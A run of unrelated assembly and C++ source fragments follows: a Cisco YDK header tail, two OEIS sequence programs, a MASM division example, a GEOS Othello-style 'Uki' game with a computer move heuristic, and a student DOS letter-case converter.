PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ActInfop : public ydk::Entity { public: ActInfop(); ~ActInfop(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class PolicyActionInfoSt; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ActInfop::PolicyActionInfoSt ydk::YList policy_action_info_st; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ActInfop } } #endif /* _CISCO_IOS_XR_INFRA_POLICYMGR_OPER_47_ */
; A177145: E.g.f.: arcsin(x). ; 1,0,1,0,9,0,225,0,11025,0,893025,0,108056025,0,18261468225,0,4108830350625,0,1187451971330625,0,428670161650355625,0,189043541287806830625,0,100004033341249813400625,0 mov $1,4 mov $2,$0 mov $3,1 lpb $2 sub $2,$3 mul $1,$2 trn $2,1 lpe pow $1,2 div $1,16 mov $0,$1
; Program 4.3 ; Negative Division - MASM (32-bit) ; Copyright (c) 2017 Hall & Slonka .386 .MODEL FLAT, stdcall .STACK 4096 ExitProcess PROTO, dwExitCode:DWORD .code _main PROC mov eax, -534 cdq mov ebx, 15 idiv ebx INVOKE ExitProcess, 0 _main ENDP END
; A185294: Number of disconnected 9-regular simple graphs on 2n vertices with girth at least 4. ; 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,15 div $0,2 sub $0,3 pow $0,2 div $0,8 bin $0,4
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PROJECT: Practice Project MODULE: Uki program FILE: uki.asm Author Jimmy Lefkowitz, January 14, 1991 $Id: uki.asm,v 1.1 97/04/04 15:47:09 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiChooseUki %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: GLOBAL PASS: ax = 0; only do functions ax != 0; do full init RETURN: Void. DESTROYED: Nada. PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiChooseUki method UkiContentClass, MSG_UKI_CHOOSE_UKI UkiAssignFunction initGame, UkiInitGame UkiAssignFunction validMove, UkiIsClickValidMove UkiAssignFunction movePiece, UkiMovePiece UkiAssignFunction adjustMoveValues, UkiAdjustMoveValues UkiAssignFunction userInput, UkiGetMouseClick UkiAssignFunction computerFindMove, UkiComputerFindBestMove ; Start the game, maybe tst ax jz done mov ax, UKI_INIT_BOARD_SIZE mov es:[cells], al call UkiSetUpBoardSizeUI mov ax, MSG_UKI_START call ObjCallInstanceNoLock done: ret UkiChooseUki endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiInitGame DESCRIPTION: initializes all state variables for a new game PASS: nothing RETURN: nothing DESTROYED: ax, bx, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiInitGame proc far ;CELLS = 7 ;LINES = CELLS+1 ;BAD_COORD = LINES ;MAXCELLS = CELLS*CELLS mov es:[obstacles], 0 mov al, es:[cells] shr al mov bl, al mov cx, mask GDN_PLAYER2 call UkiSetNode dec al mov cx, mask GDN_PLAYER1 call UkiSetNode dec bl mov cx, mask GDN_PLAYER2 call UkiSetNode inc al mov cx, mask GDN_PLAYER1 call UkiSetNode initLoop: ; keep initting the obstcles until the first guy can go... call UkiInitObstacles call UkiComputerMoveSearch ; find best move ; if the bestMoveCoord has an x coordinate of BAD_COORD then ; there were no possible moves for player1 so re-init the obstacles cmp es:[bestMoveCoord].x_pos,BAD_COORD je initLoop ; if no obstacles got put up, try again... ; unless of course there aren't supposed to be any tst es:[obstacles] jnz done ; have obstacles, ok we are done ; ok, no obstacles, if maxObstacles is zero then we are not supposed ; to have obstacles so we are done, else try again tst es:[maxObstacles] jnz initLoop done: ret UkiInitGame endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiInitObstacles %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: put up a symmetric pattern of obstacles four at a time, up to maxObstacles (could be 0) CALLED BY: UkiInitGame PASS: nothing RETURN: Void. DESTROYED: Nada. PSEUDOCODE/STRATEGY: for each of the upper left quadrant squares, randomly decide to add an obstacle, if yes then duplicate it symmetrically in other 3 quadrants until we are done with all the upper left quadrant or have reached the maximum number of obstacles KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/18/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiInitObstacles proc near ; start at 0,0 mov ax, 0 mov bx, ax ; init number of obstacles to zero mov es:[obstacles], ax initloop: ; if the node already has an obstacle then we are being called ; again from UkiInitGame because they board set up didn't allow ; a first move, so just blank out the obstacle and continue as if ; this was a blank space all along ; if the current node is not empty (zero) then don't put an ; obstacle there call UkiGetNode cmp cl, mask GDN_OBSTACLE jne notObstacle mov dl, 0 call UkiDoObstacle notObstacle: tst cx jnz cont ; else randomly decide to add an obstacle or not using a weighting ; factor of OBSTACLE_FREQEUNCY mov dx, es:[obstacles] cmp dx, es:[maxObstacles] jge done call FastRandom and dx, UKI_OBSTACLE_FREQUENCY tst dx jnz cont ; we have decided to add an obstacles do add it symetrically to all ; four quadrants mov dl, mask GDN_OBSTACLE call UkiDoObstacle cont: ; we are only doing the upper quadrant do calculate the x and y ; to which we need to loop through, not effecient, but whose counting? push bx inc al mov bl, es:[cells] shr bl ; inc bl cmp al, bl pop bx jl initloop inc bl mov al, es:[cells] shr al ; inc al cmp bl, al mov al, 0 jl initloop done: ret UkiInitObstacles endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiDoObstacle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: adds four obstacles the given one in the first quadrant and then added the other 3 symmetric ones in the other three quadrants CALLED BY: GLOBAL PASS: ax, bx = cell coordinate in first quadrant dl = value to put in the 4 cells (GameDataNode type) RETURN: Void. DESTROYED: Nada. PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 11/30/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiDoObstacle proc near uses ax, bx .enter mov cl, dl call UkiSetNode push bx push ax mov al, es:[cells] dec al sub al, bl mov bl, al pop ax mov cl, dl call UkiSetNode push bx mov bl, es:[cells] dec bl sub bl, al mov al, bl pop bx mov cl, dl call UkiSetNode pop bx mov cl, dl call UkiSetNode tst dl ; if we are clearing things out jz done ; then don't update number of obstacles add es:[obstacles], 4 done: .leave ret UkiDoObstacle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiAdjustMoveValues DESCRIPTION: change the parameters to calculate moves value as game goes along PASS: nothing RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiAdjustMoveValues proc far cmp dl, 20 jl done mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_1 cmp dl, 35 jl done mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_2 cmp dl, 50 jl done mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_3 cmp dl, 65 jl done mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_4 cmp dl, 80 jl done mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_5 done: ret UkiAdjustMoveValues endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiGetMouseClick DESCRIPTION: respond to a mouse click on the board PASS: cx,dx = position of mouse click in grid coordinates RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiGetMouseClick proc far ; now see the current status of that cell mov bx, es:[gameBoard] call MemLock mov ds, ax mov_tr ax, cx mov_tr bx, dx call UkiGetNode ; see if it is occupied by a piece owned by the current player tst cl jnz noMove xchg ax, cx xchg bx, dx call UkiIsClickValidMove tst cl jz noMove mov ch, al mov dh, bl call UkiMovePiece call UkiCallComputerMove mov si, UKI_MOVE_MADE jmp done noMove: mov si, UKI_NO_MOVE_MADE done: mov bx, es:[gameBoard] call MemUnlock ret UkiGetMouseClick endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiIsClickValidMove DESCRIPTION: check to see if a move is a legal move PASS: cl, dl = clicked position RETURN: cl = number of opponents captured (0 == illegal move) al, bl = cl, dl that got passed in DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiIsClickValidMove proc far .enter mov_tr ax, cx mov_tr bx, dx clr cl mov dl, -1 mov dh, -1 checkloop: call UkiCheckLine inc dl cmp dl, 2 jl checkloop mov dl, -1 inc dh cmp dh, 2 jl checkloop .leave ret UkiIsClickValidMove endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiCheckLine DESCRIPTION: giveen a starting position and direction see if any opponents are captured along that line PASS: al, bl starting point dl, dh = direction vector (ie -1,-1 or 1,0 or 0,1) cl = value of move so far RETURN: cl = value of move after checking this row (ie. passed in cl + number of oppnents taken in this row) DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiCheckLine proc near uses ax, bx, dx .enter push cx mov cl, dl or dl, dh tst dl pushf mov dl, cl clr cl popf jz nogoodPopCX cmp es:[whoseTurn], offset player1 jz doplayer1 mov ah, mask GDN_PLAYER1 jmp checkloop doplayer1: mov ah, mask GDN_PLAYER2 checkloop: add al, dl add bl, dh call UkiCheckBounds jc nogoodPopCX push cx call UkiGetNode tst cl jz nogoodPopCXCX cmp cl, mask GDN_OBSTACLE jz nogoodPopCXCX mov si, es:[whoseTurn] cmp cl, es:[si].SP_player jz contPopCX pop cx inc cl jmp checkloop nogoodPopCX: pop cx jmp done nogoodPopCXCX: pop cx pop cx jmp done contPopCX: pop cx mov al, cl pop cx add cl , al done: .leave ret UkiCheckLine endp if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiIsEdgeMove %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: ???? PASS: al, bl = position dl, dh is line vector RETURN: ch = 0 or 1 DESTROYED: Nada. PSEUDOCODE/STRATEGY: ???? KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/17/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiIsEdgeMove proc near uses ax, bx, dx .enter clr ch tst al jnz checkHighX doVertical: tst dl jnz done mov ch, 1 jmp done checkHighX: inc al cmp al, es:[cells] jnz checkLowY jmp doVertical checkLowY: tst bl jnz checkHighY doHorizontal: tst dh jnz done mov ch, 1 jmp done checkHighY: inc bl cmp bl, es:[cells] jnz done jmp doHorizontal done: .leave ret UkiIsEdgeMove endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiCheckBounds DESCRIPTION: check the bounds of a position PASS: al, bl grid position RETURN: DESTROYED: ??? PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiCheckBounds proc near tst al jl outOfBounds tst bl jl outOfBounds cmp al, es:[cells] jge outOfBounds cmp bl, es:[cells] jge outOfBounds clc jmp done outOfBounds: stc done: ret UkiCheckBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiMovePiece DESCRIPTION: update board and screen for a given move PASS: ch,dh: position to move to cl: type of move (1 = jump, 3 = replication) RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiMovePiece proc far mov al, ch mov bl, dh mov si, es:[whoseTurn] inc es:[si].SP_numberOfGuys mov cl, es:[si].SP_player call UkiSetNode mov cl, es:[si].SP_pieceColor clr es:[si].SP_noMoveCount call UkiDrawPlayer ; if we took a hint, then the new piece got drawn over ; the hint, so mark the hint as BAD_COORD so that it ; doesn't try to undo it later cmp al, es:[hintMoveCoord].x_pos jnz skiphint cmp bl, es:[hintMoveCoord].y_pos jnz skiphint mov es:[hintMoveCoord].x_pos, BAD_COORD skiphint: call UkiAffectOpponent ret UkiMovePiece endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiAffectOpponent DESCRIPTION: turn over all captured opponents updating board and screen PASS: al,bl = position moved to RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiAffectOpponent proc near mov dl, -1 mov dh, -1 checkloop: clr cx clr si call UkiCheckLine tst cl jz cont call UkiDoAffect cont: inc dl cmp dl, 2 jl checkloop mov dl, -1 inc dh cmp dh, 2 jl checkloop ret UkiAffectOpponent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiDoAffect DESCRIPTION: turn over opponents along given line PASS: al, bl position moved to dl, dh = direction vector cl = number of opponents in this row to be affected RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiDoAffect proc near uses ax, bx, dx .enter cmp es:[whoseTurn], offset player1 jnz doplayer2 add es:[player1].SP_numberOfGuys, cx sub es:[player2].SP_numberOfGuys, cx jmp doloop doplayer2: add es:[player2].SP_numberOfGuys, cx sub es:[player1].SP_numberOfGuys, cx doloop: add al, dl add bl, dh push cx, dx mov si, es:[whoseTurn] mov cl, es:[si].SP_player call UkiSetNode call UkiDrawCurrentPlayer pop cx, dx loop doloop .leave ret UkiDoAffect endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiComputerFindBestMove DESCRIPTION: find the best move for the computer PASS: nothing RETURN: si: 0 if no move found, 1 otherwise DESTROYED: ??? PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiComputerFindBestMove proc far mov bx, es:[gameBoard] call MemLock mov ds, ax clr ax mov bx, ax mov si, ax mov es:[bestMoveSoFar], al mov es:[bestMoveCoord].x_pos, BAD_COORD gridloop: call UkiGetNodeNL tst cl jnz cont call UkiDoBestMoveFromHere cont: inc al cmp al, es:[cells] jl gridloop inc bl clr al cmp bl, es:[cells] jl gridloop mov bx, es:[gameBoard] call MemUnlock ret UkiComputerFindBestMove endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FUNCTION: UkiDoBestFromHere DESCRIPTION: see if this spot would be valid, and if so get its move value if its better than the best move so far then mark it as the best move so far PASS: al, bl = position RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 2/91 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiDoBestMoveFromHere proc near uses si, dx, bp, cx .enter mov cl, al mov dl, bl call UkiIsClickValidMove tst cl jz done add cl, UKI_BASE_MOVE_VALUE ; add to cl so base value of a ; legal move is a value great ; enough, so that a "bad" ; move can have a positive value call UkiFindMoveValue cmp cl, es:[bestMoveSoFar] jl done jg doNewOne cmp es:[bestMoveCoord].x_pos, BAD_COORD jz doNewOne call FastRandom and dl, UKI_EQUAL_BESTMOVE_FACTOR jz doNewOne jmp done doNewOne: mov dx, bp mov es:[bestMoveSoFar], cl mov es:[bestMoveCoord].x_pos, al mov es:[bestMoveCoord].y_pos, bl done: .leave ret UkiDoBestMoveFromHere endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiFindMoveValue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: get the value for a given move CALLED BY: GLOBAL PASS: al, bl = board position RETURN: move value DESTROYED: Nada. PSEUDOCODE/STRATEGY: this is my strategy.... a) if a move is in the "center" that is, not an edge or next to an edge then the move value is worth the base value + the number of opponents turned b) if it is next to an edge than subtract a constant value from the number of stones turned c) if its an edge then calculate the number of neighbors along the edge of the opposing player are there, if there is one, then the move value is base value + # players turned - edge_neighbors_constant if the value isn't 1, (0 or 2), then the move value is base value + edge_constant + # of players turned the corners get extra high values KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/13/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiFindMoveValue proc near uses ax, bx, si .enter push ax, bx mov bx, es:[gameBoard] call MemLock mov ds, ax pop ax, bx clr ah mov bh, ah mov dx, 0 mov si, ax call UkiFindMoveValueHelp mov dx, 1 mov si, bx call UkiFindMoveValueHelp tst cl jg done mov cl, 1 done: mov bx, es:[gameBoard] call MemUnlock .leave ret UkiFindMoveValue endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiFindMoveValueHelp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: helper routine for finding out a moves value CALLED BY: ???? PASS: al, bl = board position dl = horizontal edge(1) or vertical edge (0) cl = move value so far si = relevent coordinate ds = gameBoard segment es = dgroup RETURN: cl = move value DESTROYED: dx PSEUDOCODE/STRATEGY: ???? KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/13/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiFindMoveValueHelp proc near uses ax, bx .enter ; if si is zero we are at an edge so find value of edge position tst si jnz testALhigh ; else cont ; if an edge has one opponent by it then its not "safe" call UkiCaptureEdgeNeighbors call UkiCheckEdgeNeighbors cmp dh, 1 ; as long as not one neighbor, safe move jnz doEdgeValue ; if the edge has 1 neighbor then make the move value lower sub cl, UKI_EDGE_NEIGHBORS_VALUE jmp done doEdgeValue: ; if its a "safe" edge, add some value to the move, this changes ; of time add cl, es:[generalValue2] jmp done testALhigh: ; if si+1 == cells we are at an edge so find edge position value xchg ax, si inc al cmp al, es:[cells] xchg ax, si jnz checkAL2 ; else cont call UkiCaptureEdgeNeighbors call UkiCheckEdgeNeighbors cmp dh, 1 jnz doEdgeValue checkAL2: dec si ; restore si to passed in value ; if si == 1 we are next to an edge so subtract from the move value cmp si, 1 jnz checkALHigh2 doNextToEdge: tst dl jz doVertical checkNextToCorner: cmp al, 1 jz nextToCorner mov bl, al inc al cmp al, es:[cells] jnz notNextToCorner nextToCorner: sub cl, 20 jmp done notNextToCorner: sub cl, UKI_NEXT_TO_EDGE_VALUE jmp done doVertical: xchg ax, bx jmp checkNextToCorner checkALHigh2: ; if si+2 == cells we are enxt to an edge so subtract from move value add si, 2 xchg ax, si cmp al, es:[cells] xchg ax, si jnz done jmp doNextToEdge done: .leave ret UkiFindMoveValueHelp endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiCaptureEdgeNeighbors %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: ???? PASS: al, bl = board position dl = 0 for vertical edge, 1 for horizontal edge RETURN: cl = new move value DESTROYED: Nada. PSEUDOCODE/STRATEGY: ???? KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/18/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiCaptureEdgeNeighbors proc near uses ax, bx, dx, si .enter push cx tst dl jz doVertical clr dh mov dl, -1 clr cl call UkiCheckLine mov dh, 1 common: call UkiCheckLine tst cl pop cx jz done add cl, UKI_CAPTURE_EDGE_VALUE jmp done doVertical: clr dl mov dh, -1 clr cl call UkiCheckLine mov dl, 1 jmp common done: .leave ret UkiCaptureEdgeNeighbors endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UkiCheckEdgeNeighbors %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: ???? PASS: al, bl = board position dl = 0 for vertical edge, 1 for horizontal edge RETURN: dh = number of opposing neighbors 0, 1 or 2 ds = gameBoard segment es = dgroup DESTROYED: Nada. PSEUDOCODE/STRATEGY: ???? KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/13/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UkiCheckEdgeNeighbors proc near uses ax, bx, cx .enter mov si, es:[whoseTurn] clr dh ; init our edge neighbors value to zero tst dl ; check to see if we are doing vertical jnz doHoriz ; or horizontal ; if we are doing a horizontal edge the first test to see ; if bl is zero, if so then check below (since the upper left ; corner is [0,0]) else check "above" tst bl jz checkBelow ; set al, bl to cell above this cell dec bl ; set the current state of that cell call UkiGetNodeNL ; if that cell is empty, then there is no neigbor ; else check to see if it is an oppoising neighbor or a friendly ; one, if opposing, then increment dh else cont tst cl jz checkBelowIncBL and cl, es:[si].SP_player and cl, 0xf0 ; zero out non relevant bits tst cl jnz checkBelowIncBL inc dh checkBelowIncBL: inc bl checkBelow: ; if we are at the bottom of the board, don't check beyond boundary inc bl cmp bl, es:[cells] jz done ; else get the cell node and check for noeghbors call UkiGetNodeNL tst cl ; if a neighbor, check for friendliness jz done and cl, es:[si].SP_player and cl, 0xf0 ; zero out non relevant bits tst cl jnz done inc dh jmp done doHoriz: ; check left boundary tst al ; if at check do right jz checkRight ; else get node and check for neighbors dec al call UkiGetNodeNL tst cl ; if neighbor, check for friendliness jz checkRightIncAL and cl, es:[si].SP_player and cl, 0xf0 ; zero out piece type info tst cl jnz checkRightIncAL inc dh checkRightIncAL: inc al checkRight: ; now check right boudary inc al cmp al, es:[cells] jz done ; if within boundary get node data call UkiGetNodeNL ; check for neighbors tst cl jz done ; if neighbors, check for friendliness and cl, es:[si].SP_player and cl, 0xf0 tst cl jnz done inc dh jmp done done: .leave ret UkiCheckEdgeNeighbors endp UkiCode ends
;Day 02 date-08 april,2021 ;problem - programme to print captal letter to small letter or if small letter than print capital letter, infinite times input .model small .stack 100h .data n_line db 0ah,0dh,"$" ;for new line var_char db ? .code capital_print: mov dl,97 sub dl,65 sub var_char,dl ;print new line lea dx,n_line mov ah,9 int 21h mov dl,var_char mov ah,2 int 21h ;print new line lea dx,n_line mov ah,9 int 21h jmp infinite_label small_print: mov dl,97 sub dl,65 add var_char,dl ;print new line lea dx,n_line mov ah,9 int 21h mov dl,var_char mov ah,2 int 21h ;print new line lea dx,n_line mov ah,9 int 21h jmp infinite_label infinite_label: ;take input mov ah,1 int 21h mov var_char,al cmp var_char,97 jae capital_print cmp var_char,65 jae small_print main proc mov ax,@data mov ds,ax jmp infinite_label mov ah,4ch int 21h main endp end main
